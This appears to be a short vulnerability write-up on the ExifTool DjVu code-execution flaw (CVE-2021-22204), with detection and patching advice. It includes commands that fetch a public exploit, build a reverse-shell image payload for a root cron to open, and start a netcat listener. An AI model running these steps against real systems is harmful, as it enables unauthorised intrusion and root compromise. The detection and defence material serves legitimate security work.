ExifTool: RCE via DjVu (CVE-2021-22204)

ExifTool (<= 12.23) executes arbitrary code when processing the metadata of a crafted DjVu image (CVE-2021-22204). The flaw is in how ExifTool interprets the DjVu metadata field: its content ends up passing through a Perl eval, so a carefully built value is executed as Perl code with the privileges of the process that invoked ExifTool.

Since ExifTool is almost never run on its own, the real vector is usually indirect: a service, a cron or a pipeline running exiftool over files the attacker can place. The classic case is a root cron processing an uploads directory (cron over a writable directory): just drop the payload there and wait for the privileged task to open it.

LazyTitan33's PoC generates a .jpg image with the malicious DjVu embedded and the reverse shell baked in:

git clone https://github.com/LazyTitan33/ExifTool-DjVu-exploit
python3 CVE-2021-22204.py 2>/dev/null   # -> payload.jpg
# drop payload.jpg where the vulnerable service/cron will process it and listen
rlwrap nc -nlvp 4445

The "image" label is misleading: the file is a code container that ExifTool executes when it parses it. It's a good reminder that parsing untrusted data with a vulnerable tool is code execution, not a simple metadata read.

How to detect it. Since the vector is indirect, the cleanest signature is process lineage: exiftool (or the perl it invokes) spawning sh/bash/nc as a child, something a mere metadata read never does (auditd/Sysmon for Linux over execve). On the host, a freshly-uploaded image file whose interior contains a DjVu structure with Perl code ((metadata ...) with system/backticks) is detectable with exiftool -v or strings over the upload directory. A root cron or service that opens a writable directory and immediately establishes an outbound connection closes the chain.

Defence. Update ExifTool to 12.24 or later; don't run metadata parsers as root or over directories writable by untrusted users; and sandbox the processing of uploaded files.